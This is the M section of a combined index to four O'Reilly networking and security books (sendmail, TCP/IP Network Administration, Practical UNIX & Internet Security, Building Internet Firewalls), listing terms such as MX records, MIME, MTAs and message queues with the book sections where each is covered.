TCP/IP Network Administration, 10.7.1. Modifying Local Information
mailing lists
Practical UNIX & Internet Security, E.1. Mailing Lists
Practical UNIX & Internet Security, E.1.3.10. WWW-security
sendmail, 1.3.3. Aliases and Mailing Lists
sendmail, 17.1.2.1. A rule to handle List:;
sendmail, 20.2.2. Workstation Refuses to Act as a Mail Gateway
sendmail, 34.8. Alphabetized Reference
(see also email)
exploder lists : sendmail, 25.4. Exploder Mailing Lists
EXPN command (SMTP) : sendmail, 22.3.2. SMTP vrfy and expn
for distributing security information : TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
for exchanging information and ideas : TCP/IP Network Administration, 13.5. Mailing Lists
:include: directive
sendmail, 22.5.2. Permissions for :include:
sendmail, 23.9. The qf File Internals
sendmail, 25.2. :include: Mailing Lists
including oneself on : sendmail, 34.8. Alphabetized Reference
internal : sendmail, 25.1. Internal Mailing Lists
joining : TCP/IP Network Administration, 13.5. Mailing Lists
keeping current : Building Internet Firewalls, 12.3.1.1. Mailing lists
list precedence : sendmail, 14.4. Precedence
owner : sendmail, 25.3. Defining a Mailing List Owner
packages for : sendmail, 25.6. Packages That Help
resources via : Building Internet Firewalls, A.3. Mailing Lists
sendmail and : TCP/IP Network Administration, 10.1. sendmail's Function
troubleshooting : sendmail, 25.5. Problems with Mailing Lists
mailq command
sendmail, 4.1.2. Show Queue Mode (-bp)
sendmail, 36.1.2. mailq
mailstats program : sendmail, 26.2.2. Viewing Statistics: mailstats
maintaining firewalls : Building Internet Firewalls, 12. Maintaining Firewalls
maintenance mode : Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
maintenance personnel : Practical UNIX & Internet Security, 13.3. Outsiders
maintenance toolkits, ready-made : TCP/IP Network Administration, 11.2. Diagnostic Tools
Majordomo package
sendmail, 25.6.1. Majordomo
TCP/IP Network Administration, 13.5. Mailing Lists
make command
sendmail, 2.5. Build
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
make config command : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
make install.man : TCP/IP Network Administration, 9.4. A BOOTP Server
make zImage command : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
in NIS : TCP/IP Network Administration, 9.3. Network Information Service
makedbm program : Practical UNIX & Internet Security, 19.4.4.1. Setting up netgroups
Makefile file
sendmail, 2.4. Preliminaries
sendmail, 18.4. Tuning Makefile
db library package : sendmail, C.2. Get the Source
makemap command
sendmail, 33.2. Create Files with makemap
TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
TCP/IP Network Administration, E.1. Compiling sendmail
TCP/IP Network Administration, E.4.4. The sendmail K Command
makesendmail script
sendmail, 2.4. Preliminaries
sendmail, 18.3.2. The makesendmail Script
sendmail, 18.6. Install sendmail
malware : Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
man pages : Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
man-in-the-middle forgery : Building Internet Firewalls, 6.6.1. Risks of Filtering by Source
Management Information Base (MIB) : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
management tools : Building Internet Firewalls, 2.10. Network Management Services
management, role of
Practical UNIX & Internet Security, 2.3.4. Convincing Management
Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
managing accounts : Building Internet Firewalls, 12.1.2. Managing Your Accounts
MANs (Metropolitan Networks) : Practical UNIX & Internet Security, 16.1. Networking
manual logging
Practical UNIX & Internet Security, 10.7. Handwritten Logs
Practical UNIX & Internet Security, 10.7.2.2. Informational material
manual pages : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
manual sendmail use : sendmail, 1.4. Run sendmail by Hand
map
TCP/IP Network Administration, 1.7. Application Layer
(see also automounter daemon)
(see also /etc/hosts file)
(see also /etc/networks file)
(see also IMAP)
(see also Network Information Service)
(see also portmapper)
building : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
name assigned a database : TCP/IP Network Administration, 10.6.2.1. Transforming with a database
NIS : (see NIS)
/map rule-testing command : sendmail, 38.5.3. Look up a Database Item with /map
map_lookup() : sendmail, 20.3. Alphabetized V8.8 Subroutines
martians
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, B.7. Definition Statements
mask information : (see information)
masking
TCP/IP Network Administration, 2.2.2. Classless IP Addresses
TCP/IP Network Administration, 2.3. Subnets
MASQUERADE_AS macro (m4)
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 31.10. Alphabetized Reference
MASQUERADE_DOMAIN macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
MASQUERADE_DOMAIN_FILE macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
masquerade_entire_domain feature : sendmail, 19.6. Alphabetized m4 Macros
masquerade_envelope feature : sendmail, 19.6. Alphabetized m4 Macros
masquerading
sendmail, 19.4.4. Masquerading
sendmail, 19.6. Alphabetized m4 Macros
TCP/IP Network Administration, E.3.2. FEATURE
TCP/IP Network Administration, E.3.4. DOMAIN
Massey, James L. : Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
Master mode (uucico) : Practical UNIX & Internet Security, 15.1.4. How the UUCP Commands Work
master server
Practical UNIX & Internet Security, 19.4. Sun's Network Information Service (NIS)
(see also NIS)
MatchGecos (G) option
sendmail, 20.1.2. Global Variables
sendmail, 34.8. Alphabetized Reference
MATCHGECOS macro : sendmail, 18.8. Alphabetized Reference
matching : (see wildcard operators)
MAX... macros : sendmail, 18.8. Alphabetized Reference
MaxDaemonChildren option
sendmail, 34.1.3. Appropriateness of Options
sendmail, 34.8. Alphabetized Reference
MaxHopCount (h) option : sendmail, 34.8. Alphabetized Reference
maximum line length
sendmail, 30.4. The Equates
sendmail, 30.8. Alphabetized F= Flags
maximum receive unit (MRU) : TCP/IP Network Administration, A.2. The PPP Daemon
maximum transmission unit (MTU)
Building Internet Firewalls, C.5.1.3. Fragmenting datagrams
TCP/IP Network Administration, 1.5.1.3. Fragmenting datagrams
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
TCP/IP Network Administration, 6.1.2. Checking the Interface with ifconfig
TCP/IP Network Administration, 6.1.5.4. Maximum transmission unit
TCP/IP Network Administration, A.1. Dial-Up IP
determining smallest : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
MAXLINE variable : sendmail, 18.8. Alphabetized Reference
MaxMessageSize : sendmail, 34.8. Alphabetized Reference
maxpacketsize : TCP/IP Network Administration, B.8.6. The egp Statement
MaxQueueRunSize option
sendmail, 23.4. Printing the Queue
sendmail, 34.8. Alphabetized Reference
MAXRWSETS variable : sendmail, 29.1.2. Rule-Set Names
MBONE (Multicast Backbone)
Building Internet Firewalls, 2.8. Real-Time Conferencing
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
TCP/IP Network Administration, 5.3.1.1. Options
configuring : Building Internet Firewalls, 8.9.3. The Multicast Backbone (MBONE)
mc files
sendmail, 19.3. The Minimal mc File
sendmail, 19.6. Alphabetized m4 Macros
MCERT : Practical UNIX & Internet Security, F.3.4.21. Motorola, Inc.
MCI Corporation : Practical UNIX & Internet Security, F.3.4.19. MCI Corporation
MD2 algorithm : Practical UNIX & Internet Security, 6.5.4.1. MD2, MD4, and MD5
MD4 algorithm
Building Internet Firewalls, 10.3.1. One-Time Passwords
Practical UNIX & Internet Security, 6.5.4.1. MD2, MD4, and MD5
MD5 algorithm
Practical UNIX & Internet Security, 6.5.2. Using Message Digests
Practical UNIX & Internet Security, 6.5.4.1. MD2, MD4, and MD5
Practical UNIX & Internet Security, 23.5.1. Use Message Digests for Storing Passwords
Practical UNIX & Internet Security, 23.9. A Good Random Seed
digital signatures versus : Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
in POP : Practical UNIX & Internet Security, 17.3.10. Post Office Protocol (POP) (TCP Ports
MDAs (mail delivery agents) : (see MTAs)
media : Practical UNIX & Internet Security, 12.3.3. Other Media
damaged by smoke : Practical UNIX & Internet Security, 12.2.1.2. Smoke
destroying : Practical UNIX & Internet Security, 12.3.2.3. Sanitize your media before disposal
failure of : Practical UNIX & Internet Security, 7.1.4. Guarding Against Media Failure
hard/soft disk quotas : Practical UNIX & Internet Security, 25.2.2.5. Using quotas
print through process : Practical UNIX & Internet Security, 12.3.2.1. Verify your backups
rotating for backups : Practical UNIX & Internet Security, 7.1.3. Types of Backups
rotation of : Practical UNIX & Internet Security, 7.2.1.2. Media rotation
sanitizing : Practical UNIX & Internet Security, 12.3.2.3. Sanitize your media before disposal
viruses from : Practical UNIX & Internet Security, 11.1.5. Viruses
meet-in-the-middle attacks : Practical UNIX & Internet Security, 6.4.5.1. Double DES
MEMCHUNKSIZE macro : sendmail, 18.8. Alphabetized Reference
memory
Building Internet Firewalls, 1.1.2. Your Resources
Building Internet Firewalls, 5.3.3. What Hardware Configuration?
Practical UNIX & Internet Security, 25.2.2. Disk Attacks
Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
sendmail, 34.8. Alphabetized Reference
hidden space : Practical UNIX & Internet Security, 25.2.2.7. Hidden space
for logs
Building Internet Firewalls, 12.1.3. Managing Your Disk Space
Building Internet Firewalls, 12.2.2. What Should You Watch For?
managing : Building Internet Firewalls, 12.1.3. Managing Your Disk Space
reserved space : Practical UNIX & Internet Security, 25.2.2.6. Reserved space
swap space : Practical UNIX & Internet Security, 25.2.3. Swap Space Problems
/tmp directory and : Practical UNIX & Internet Security, 25.2.4. /tmp Problems
tree-structure attacks : Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
memory-to-memory copies : TCP/IP Network Administration, 6.1.5.2. ARP and trailers
merging interior and exterior routers : Building Internet Firewalls, 4.3.2. It's OK to Merge the Interior Router and the Exterior Router
Merkle, Ralph : Practical UNIX & Internet Security, 6.4.5.1. Double DES
Message Authentication Code (MAC) : Practical UNIX & Internet Security, 6.5.5.2. Message authentication codes
Message Digest 5 (MD5) cryptographic checksum
TCP/IP Network Administration, 7.4.3. Open Shortest Path First
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, B.8.2. The rip Statement
message digests
Practical UNIX & Internet Security, 6.5. Message Digests and Digital Signatures
Practical UNIX & Internet Security, 6.5.2. Using Message Digests
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
Practical UNIX & Internet Security, 23.5.1. Use Message Digests for Storing Passwords
Tripwire package
Practical UNIX & Internet Security, 9.2.4. Tripwire
Practical UNIX & Internet Security, 9.2.4.2. Running Tripwire
"Message:" header line : sendmail, 35.10. Alphabetized Reference
message queue : (see queue)
"Message-ID:" header line
sendmail, 1.5. The Header
sendmail, 13.4. Sending Mail
sendmail, 14.2.3. The Message-ID: Header
sendmail, 26.1.3.5. msgid= the Message-ID: identifier
sendmail, 30.8. Alphabetized F= Flags
sendmail, 35.5.16. Replacing Headers with H_ACHECK
sendmail, 35.10. Alphabetized Reference
message_volume.sh script : sendmail, 26.1.4.1. message_volume.sh
messages file : TCP/IP Network Administration, 12.4.2.2. Checking login activity
messages log file : Practical UNIX & Internet Security, 10.2.3. messages Log File
messages, error : (see error messages)
messages, email
sendmail, 34.8. Alphabetized Reference
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
assigning priority to : TCP/IP Network Administration, 10.5.6. Defining Mail Precedence
blank lines ending : sendmail, 30.8. Alphabetized F= Flags
body of
sendmail, 1.6. The Body
sendmail, 23.2.2. The Data (Message Body) File: df
(see also -B switch (sendmail))
bouncing
sendmail, 10.3. Missing Addresses
sendmail, 13.2.2. Limit the Life of Queued Messages
sendmail, 14.4. Precedence
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 22.8.3.4. The PostmasterCopy option
sendmail, 23.3.6. Savemail Panic
sendmail, 23.7.1. Handling a Down Site
sendmail, 24.4.1. The Postmaster Alias
sendmail, 25.5.1. Reply Versus Bounce
sendmail, 25.5.3. A list-bounced Alias
sendmail, 34.8. Alphabetized Reference
sendmail, 35.10. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
(see also $n macro)
content type : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
converting between 7- and 8-bit : sendmail, 18.8. Alphabetized Reference
delivering : (see delivery)
envelope : (see envelope)
encapsulated : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
error : (see errors)
flooding : Practical UNIX & Internet Security, 25.3.2. Message Flooding
forged : sendmail, 22.7. Forged Mail
forwarding : sendmail, 35.7. Forwarding with Resent-Headers
forwarding loops : sendmail, 25.7.2. Forwarding Loops
headers for : (see headers, message)
holding : (see queue)
hop count : (see hop count)
hub's acceptance of : sendmail, 15.4. Hub Accepts Mail for Client
leading dots in : sendmail, 34.8. Alphabetized Reference
limiting size of : sendmail, 20.2.3. Limit the Size of Guest Messages
multipart subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
multiple objects in single : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
origin date of : (see $a macro)
priority of
sendmail, 14.4. Precedence
(see priority, message)
processing limits on : sendmail, 23.5. How the Queue Is Processed
queue
sendmail, 1.3.2. The Queue
sendmail, 23. The Queue
checkpointing : sendmail, 34.8. Alphabetized Reference
down sites and : sendmail, 23.7.1. Handling a Down Site
lifetime
sendmail, 13.2.2. Limit the Life of Queued Messages
sendmail, 34.8. Alphabetized Reference
message life : sendmail, 13.2.2. Limit the Life of Queued Messages
message parts : sendmail, 23.2. Parts of a Queued Message
printing
sendmail, 4.1.2. Show Queue Mode (-bp)
sendmail, 23.2.3.2. Locks shown when printing the queue
sendmail, 23.4. Printing the Queue
sendmail, 36.7. Alphabetized Reference
processing
sendmail, 23.5. How the Queue Is Processed
sendmail, 23.9. The qf File Internals
sendmail, 36.7. Alphabetized Reference
putting everything in : sendmail, 34.8. Alphabetized Reference
requeuing on error : sendmail, 25.7.6. Force Requeue on Error
sendmail options for : sendmail, 34.6.2. The Queue
sorting : sendmail, 34.8. Alphabetized Reference
time message placed in : sendmail, 23.9. The qf File Internals
troubleshooting : sendmail, 23.8. Pitfalls
why message is stored in : sendmail, 23.9. The qf File Internals
rejecting
sendmail, 18.8. Alphabetized Reference
sendmail, 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
relays for : sendmail, 19.4.5. Relays
sending
sendmail, 13.4. Sending Mail
sendmail, 14.5. Sending Real Mail
size of
sendmail, 26.1.3.10. size= the size of the message
sendmail, 30.4. The Equates
sendmail, 34.8. Alphabetized Reference
stored in queue in error : sendmail, 23.9. The qf File Internals
time placed in queue : sendmail, 23.9. The qf File Internals
unique identifier for
sendmail, 13.4. Sending Mail
sendmail, 14.2.3. The Message-ID: Header
sendmail, 26.1.3.5. msgid= the Message-ID: identifier
messages, SMTP greeting
sendmail, 31.10. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
messages, warning : (see warning messages)
meta characters : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
meta-packets, and filtering : Building Internet Firewalls, 6.8.4. It Should Allow Rules Based on Any
metadata
Practical UNIX & Internet Security, 9.2.2. Checklists and Metadata
Practical UNIX & Internet Security, 9.2.2.2. Ancestor directories
metasymbols : TCP/IP Network Administration, 10.6.1. Pattern Matching
for transforming the address : TCP/IP Network Administration, 10.6.2. Transforming the Address
MeToo (m) option
sendmail, 34.8. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
metrics : TCP/IP Network Administration, 6.1.5.3. Metric
arbitrariness of : TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
incompatibility of : TCP/IP Network Administration, 7.6.1. gated's Preference Value
Metropolitan Area Exchanges (MAEs) : TCP/IP Network Administration, 1.1. TCP/IP and the Internet
Metropolitan Networks (MANs) : Practical UNIX & Internet Security, 16.1. Networking
MH (mail handler) : Practical UNIX & Internet Security, 11.5.2.5. .forward, .procmailrc
MIB (Management Information Base) : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
MIBI and MIBII : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
Micro-BIT Virus Center : Practical UNIX & Internet Security, F.3.4.16. Germany: Southern area
mil domain : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
Miller, Barton : Practical UNIX & Internet Security, 23.1.2. An Empirical Study of the Reliability of UNIX Utilities
MILNET : Practical UNIX & Internet Security, F.3.4.20. Motorola, Inc.
MIME (Multipurpose Internet Mail Extensions)
Building Internet Firewalls, 8.1.3. Multipurpose Internet Mail Extensions
Practical UNIX & Internet Security, 11.1.5. Viruses
sendmail, 5.3.8. Headers
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
format errors : sendmail, 34.8. Alphabetized Reference
headers for : sendmail, 35.6.7. MIME Headers
sendmail and : TCP/IP Network Administration, 10.5.8. Defining Mailers
standardizing on : TCP/IP Network Administration, 4.5.3. Planning Your Mail System
types : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
"MIME-Version:" header line : sendmail, 35.10. Alphabetized Reference
MIME7TO8 macro : sendmail, 18.8. Alphabetized Reference
MIME8TO7 macro : sendmail, 18.8. Alphabetized Reference
MinFreeBlocks (b) option : sendmail, 34.8. Alphabetized Reference
minicom : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
minimum matching
sendmail, 8.7.2. Minimal Matching
sendmail, 28.5.1. Minimum Matching
sendmail, 32.2.3. Backup and Retry
MinQueueAge option
sendmail, 23.9. The qf File Internals
sendmail, 34.8. Alphabetized Reference
minus sign (hyphen)
in machine conversation : sendmail, 4.2. Verbose (-v)
non-equivalent host : TCP/IP Network Administration, 12.2.5. Secure the r Commands
missing addresses : (see addresses, null)
"Missing username" error : sendmail, 9.4. The error Delivery Agent
MIT-KERBEROS-5 authentication : Practical UNIX & Internet Security, 17.3.21.3. The xhost facility
Mitnick, Kevin : Practical UNIX & Internet Security, 27.2.6. Network Providers that Network Too Well
mixed multipart subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
mknod command : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
mkpasswd program : Practical UNIX & Internet Security, 8.8.4. Password Generators
mktemp function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
mobile network computing : Practical UNIX & Internet Security, 8.7. One-Time Passwords
mobile systems, requirements of : TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
mode command : TCP/IP Network Administration, 6.3.2. Dial-Up PPP
modem pools : Building Internet Firewalls, 10.6. Terminal Servers and Modem Pools
modems
Practical UNIX & Internet Security, 14. Telephone Security
Practical UNIX & Internet Security, 14.6. Additional Security for Modems
TCP/IP Network Administration, 1.7. Application Layer
(see also Automatic Call Unit)
asynchronous : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
callback setups
Practical UNIX & Internet Security, 14.4.2.
Practical UNIX & Internet Security, 14.6. Additional Security for Modems
carrier-detect (DCD) indicator, monitoring : TCP/IP Network Administration, 6.3.3. chat
checking configuration of : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
clogging : Practical UNIX & Internet Security, 25.3.4. Clogging
documentation : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
encrypting : Practical UNIX & Internet Security, 14.6. Additional Security for Modems
hanging up : (see signals)
high-speed dial-up : TCP/IP Network Administration, 6.2. TCP/IP Over a Serial Line
physical security of
Practical UNIX & Internet Security, 14.5.4. Physical Protection of Modems
Practical UNIX & Internet Security, 14.6. Additional Security for Modems
recording call information : Practical UNIX & Internet Security, 10.3.1. aculog File
synchronous : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
tracing connections
Practical UNIX & Internet Security, 24.2.4. Tracing a Connection
Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
UNIX and
Practical UNIX & Internet Security, 14.5. Modems and UNIX
Practical UNIX & Internet Security, 14.5.3.3. Privilege testing
modes
daemon : sendmail, 4.1.1. Daemon Mode (-bd)
delivery : sendmail, 13.2.3. The Default Delivery Mode
sendmail operating : sendmail, 36.7. Alphabetized Reference
TempFileMode option
sendmail, 13.2.4. The Default File Permissions
sendmail, 22.8.3.7. The TempFileMode option
modification times
Practical UNIX & Internet Security, 5.1.2. Inodes
Practical UNIX & Internet Security, 5.1.5. File Times
Practical UNIX & Internet Security, 7.4.7. inode Modification Times
Practical UNIX & Internet Security, 9.2.2. Checklists and Metadata
modifying Internet services : Building Internet Firewalls, 5.8.3. Installing and Modifying Services
modules, loadable : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
monitoring
automatically : Building Internet Firewalls, 5.9.2. Consider Writing Software to Automate Monitoring
hardware for : (see detectors)
intruders : Practical UNIX & Internet Security, 24.2.3. Monitoring the Intruder
performance : Practical UNIX & Internet Security, 13.2.3. Performance Reviews and Monitoring
security : (see logs/logging)
software
TCP/IP Network Administration, 11.9. Simple Network Management Protocol
TCP/IP Network Administration, 12.4.3. Automated Monitoring
system usage
Building Internet Firewalls, 12.2. Monitoring Your System
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
users : Practical UNIX & Internet Security, 26.2.6. Other Tips
monitors and screen savers : Practical UNIX & Internet Security, 12.3.5.2. X screen savers
more command : TCP/IP Network Administration, 8.4. Using nslookup
Morris worm : Building Internet Firewalls, 8.1. Electronic Mail
Morris, Robert T.
Practical UNIX & Internet Security, 1. Introduction
Practical UNIX & Internet Security, 8.6. The UNIX Encrypted Password System
Practical UNIX & Internet Security, 17.4. Security Implications of Network Services
Mosaic
Building Internet Firewalls, 2.5. The World Wide Web
TCP/IP Network Administration, 13.1. The World Wide Web
motd file : Practical UNIX & Internet Security, 26.2.6. Other Tips
Motorola, Inc. : Practical UNIX & Internet Security, F.3.4.20. Motorola, Inc.
mount command
Practical UNIX & Internet Security, 20.3. Client-Side NFS Security
TCP/IP Network Administration, 9.1.3.1. The mount command
Practical UNIX & Internet Security, 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
mount daemon (mountd)
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
TCP/IP Network Administration, 9.1.1. NFS Daemons
mount point : TCP/IP Network Administration, 9.1.3.1. The mount command
mounted filesystems
Building Internet Firewalls, 5.8.4.3. Mount filesystems as read-only
Practical UNIX & Internet Security, 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
TCP/IP Network Administration, 9.1.3. Mounting Remote Filesystems
(see also directories)
mounting directory : TCP/IP Network Administration, 9.1. The Network File System
mpeg video subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
mqueue directory : (see queue directory)
mqueue temporary files : TCP/IP Network Administration, 10.5.4. The Set Option Command
mrand48 function : Practical UNIX & Internet Security, 23.7.3. drand48 ( ), lrand48 ( ), and mrand48 ( )
mrouter
Building Internet Firewalls, 6.3.3.5. IP over IP
Building Internet Firewalls, 8.9.3. The Multicast Backbone (MBONE)
MRU (maximum receive unit) : TCP/IP Network Administration, A.2. The PPP Daemon
${ms} macro : sendmail, D.1. Sun Enhancements
msgid= equate (syslog output) : sendmail, 26.1.3.5. msgid= the Message-ID: identifier
MTAs
Building Internet Firewalls, 8.1. Electronic Mail
sendmail, 1.1. MUA Versus MTA
sendmail, 5.3.1. Mail Delivery Agents
sendmail, 6.2. Define a Mail Delivery Agent
sendmail, 30. Delivery Agents
(see also M configuration command)
$# operator and
sendmail, 9.2.1. The Delivery Agent ($#)
sendmail, 28.6.5. Specify a Delivery Agent: $#
advantages to sendmail : sendmail, 18.1. To Use or Not to Use
choosing
sendmail, 9. Rule Set 0
sendmail, 9.5. Things to Try
declaring : sendmail, 19.3.2. MAILER()
default : sendmail, 34.8. Alphabetized Reference
equates for : sendmail, 30.4. The Equates
for errors : sendmail, 9.4. The error Delivery Agent
expensive
sendmail, 23.6.1. Periodically with -q
sendmail, 30.8. Alphabetized F= Flags
sendmail, 34.8. Alphabetized Reference
flags
sendmail, 6.3. The local Delivery Agent
sendmail, 6.4. Add the Missing Parts to Mhub
sendmail, 14.2. Headers Versus Delivery Agent Flags
sendmail, 30.8. Alphabetized F= Flags
sendmail, 35.4. ?flags? in Header Definitions
ignoring MX records : sendmail, 21.3.5. What? They Ignore MX Records?
local
sendmail, 6.3. The local Delivery Agent
sendmail, 19.6. Alphabetized m4 Macros
logging : sendmail, 26.1.3.4. mailer= the delivery agent used
printing list of : sendmail, 38.4.2. Show Delivery Agents with =M
as recipients : sendmail, 30.8. Alphabetized F= Flags
scripts via : sendmail, 24.3. Write a Delivery Agent Script
statistics : (see statistics)
symbolic name : sendmail, 30.2. The Symbolic Name
testing : sendmail, 38.5.6. Try a Delivery Agent with /try
UUCP : sendmail, 19.4.6. UUCP
mtime
Practical UNIX & Internet Security, 5.1.2. Inodes
Practical UNIX & Internet Security, 5.1.5. File Times
Practical UNIX & Internet Security, 9.2.2. Checklists and Metadata
Practical UNIX & Internet Security, 24.4.1.6. Changes to startup files
MTU (maximum transmission unit)
Building Internet Firewalls, C.5.1.3. Fragmenting datagrams
TCP/IP Network Administration, 1.5.1.3. Fragmenting datagrams
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
TCP/IP Network Administration, 6.1.2. Checking the Interface with ifconfig
TCP/IP Network Administration, 6.1.5.4. Maximum transmission unit
TCP/IP Network Administration, A.1. Dial-Up IP
determining smallest : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
MUAs (mail user agents)
sendmail, 1.1. MUA Versus MTA
sendmail, 36.7. Alphabetized Reference
(see also delivery agents)
MUDs (Multiuser Dungeons) : Practical UNIX & Internet Security, 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
Muffet, Alec : Practical UNIX & Internet Security, 10.5.3.1. Beware false log entries
Multicast Backbone : (see MBONE)
multicast groups : Practical UNIX & Internet Security, 16.2.1.2. Classical network addresses
multicast IP : Building Internet Firewalls, 6.3.3.5. IP over IP
multicasting
Building Internet Firewalls, 8.9.3. The Multicast Backbone (MBONE)
TCP/IP Network Administration, 6.1.2. Checking the Interface with ifconfig
TCP/IP Network Administration, 6.1.5.5. Point-to-point
addresses
TCP/IP Network Administration, 2.2.1. Address Classes
TCP/IP Network Administration, 2.2.2.1. Final notes on IP addresses
TCP/IP Network Administration, 2.6. Address Resolution
TCP/IP Network Administration, 7.4.2. RIP Version 2
routing, support for
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
TCP/IP Network Administration, 5.3.1.1. Options
Multichannel Memorandum Distribution Facility (MMDF) : TCP/IP Network Administration, 10. sendmail
multicharacter
names : (see names)
options : (see options, sendmail)
MULTICS (Multiplexed Information and Computing Service) : Practical UNIX & Internet Security, 1.3. History of UNIX
multidirectional connections : Building Internet Firewalls, 7.4.2. Unidirectional Versus Multidirectional
multihomed
hosts
Building Internet Firewalls, C.5.1.2. Routing datagrams
TCP/IP Network Administration, 5.3.1.1. Options
TCP/IP Network Administration, 8.2.1. The Resolver Configuration File
architecture of : TCP/IP Network Administration, 12.7. Firewalls
site : TCP/IP Network Administration, 4.3.1. Obtaining an autonomous system number
multilevel security
Practical UNIX & Internet Security, 1.3. History of UNIX
Practical UNIX & Internet Security, 2.4.4.7. Defend in depth
Practical UNIX & Internet Security, 2.5.3. Final Words: Risk Management Means Common Sense
Practical UNIX & Internet Security, 17.2. Controlling Access to Servers
multimedia mail : (see email)
multipart content type : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
multipart encryption : (see encryption)
multipart messages : (see messages)
multiple
recipients : sendmail, 30.8. Alphabetized F= Flags
SMTP connections : sendmail, 34.8. Alphabetized Reference
timeouts : sendmail, 34.8. Alphabetized Reference
multiplexing
TCP/IP Network Administration, 2.1. Addressing, Routing, and Multiplexing
TCP/IP Network Administration, 2.7. Protocols, Ports, and Sockets
Multipurpose Internet Mail Extensions : (see MIME)
multitasking
Practical UNIX & Internet Security, 1.4. Security and UNIX
Practical UNIX & Internet Security, C.1.3.3. Process priority and niceness
multiuser operating systems : Practical UNIX & Internet Security, 1.4. Security and UNIX
multiuser workstations : Practical UNIX & Internet Security, 17.3.21.1. etc/fbtab and /etc/logindevperm
munitions export : Practical UNIX & Internet Security, 26.4.1. Munitions Export
MustQuoteChars option : sendmail, 34.8. Alphabetized Reference
MX records
Building Internet Firewalls, 8.10.5.1. Set up a `fake'
Practical UNIX & Internet Security, 17.3.6. Domain Name System (DNS) (TCP and UDP Port 53)
sendmail, 15.3. MX Records
sendmail, 18.8. Alphabetized Reference
sendmail, 21.3. Set Up MX Records
sendmail, 34.8. Alphabetized Reference
sendmail, 38.5.2. Look Up MX Records with /mx
TCP/IP Network Administration, 8.3.2. Standard Resource Records
TCP/IP Network Administration, 8.3.6. The named.hosts File
TCP/IP Network Administration, 8.4. Using nslookup
TCP/IP Network Administration, 10.7.1. Modifying Local Information
TCP/IP Network Administration, C.3.1.4. Mail exchanger record
0 flag : sendmail, 30.8. Alphabetized F= Flags
bestmx database class : sendmail, 33.8. Alphabetized Reference
bestmx_is_local feature : sendmail, 19.6. Alphabetized m4 Macros
fallback MX host : sendmail, 34.8. Alphabetized Reference
ignored by delivery agents : sendmail, 21.3.5. What? They Ignore MX Records?
looking up for addresses : sendmail, 21.2.3. Look Up Addresses for Delivery
offsite hosts : sendmail, 21.5.1. Offsite MX Hosts
with wildcards : sendmail, 21.3.4. Wildcard MX Records
/mx rule-testing command : sendmail, 38.5.2. Look Up MX Records with /mx
MYNAME= command : Practical UNIX & Internet Security, 15.5.2. Permissions Commands

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

